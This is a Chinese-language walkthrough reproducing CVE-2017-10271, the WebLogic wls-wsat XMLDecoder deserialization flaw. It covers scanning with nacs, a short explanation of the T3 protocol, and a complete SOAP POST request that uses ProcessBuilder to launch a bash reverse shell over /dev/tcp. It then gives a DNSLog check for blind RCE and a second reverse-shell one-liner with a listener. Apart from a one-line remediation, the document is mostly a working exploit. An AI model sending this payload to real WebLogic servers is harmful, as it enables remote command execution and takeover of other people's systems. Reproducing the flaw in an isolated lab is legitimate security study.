文章目录
- Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞
- 1. 漏洞描述
- 2. 漏洞复现
- 2.1 环境启动
- 2.2 漏洞扫描
- 2.3 漏洞验证
- 3. 修复建议
Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞
1. 漏洞描述
| 说明 | 内容 |
|---|---|
| 漏洞编号 | CVE-2017-10271 |
| 漏洞名称 | Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞 |
| 漏洞评级 | 高危 |
| 影响范围 | 10.3.6.0.0 12.1.3.0.0 12.2.1.1.0 12.2.1.2.0 |
| 漏洞描述 | Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。 |
| 修复方案 | 打补丁，上设备，升级组件 |
2. 漏洞复现
2.1 环境启动
访问页面
在URL中输入http://127.0.0.1:7001/console，访问成功
2.2 漏洞扫描
使用扫描工具nacs
sudo ./nacs -h 192.168.188.185 -pa 7001
查看是否存在T3服务
从扫描结果可以看出目标主机已开启T3服务。
T3协议
简介：RMI通信时会将数据进行序列化后进行传输，同样的接收数据后反序列化进行接收，正常RMI通信使用的是JRMP协议，而在Weblogic的RMI通信中使用的是T3协议。T3协议是Weblogic独有的一个协议，相比于JRMP协议多了如下的一些特性。
- 服务端可以持续追踪监控客户端是否存活（心跳机制），通常心跳的间隔为60秒，服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
- 通过建立一次连接可以将全部数据包传输完成，优化了数据包大小和网络消耗。
结构
主要包含请求包头和请求主体这两部分内容，总共分为七个部分，第一部分是协议头，也就是请求包头，后面2-7都是请求主体。
2.3 漏洞验证
访问页面
/wls-wsat/CoordinatorPortType
使用bp抓取数据包
发送到重发器上，将其修改为POST请求
然后发送如下数据包（注意其中反弹shell的语句，需要进行编码，否则解析XML的时候将出现格式错误）
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
例如错误如下：
由于提交的是XML所以修改Content-Type值为text/xml
利用DNSLog Platform平台，进行无回显RCE漏洞验证。
pz9kgu.dnslog.cn
修改数据包，进行URL编码，然后进行发送
页面显示结果
然后使用反弹shell
bash -i >& /dev/tcp/192.168.188.185/21 0>&1
kali先开启监听
反弹成功
3. 修复建议
打补丁，上设备，升级组件。
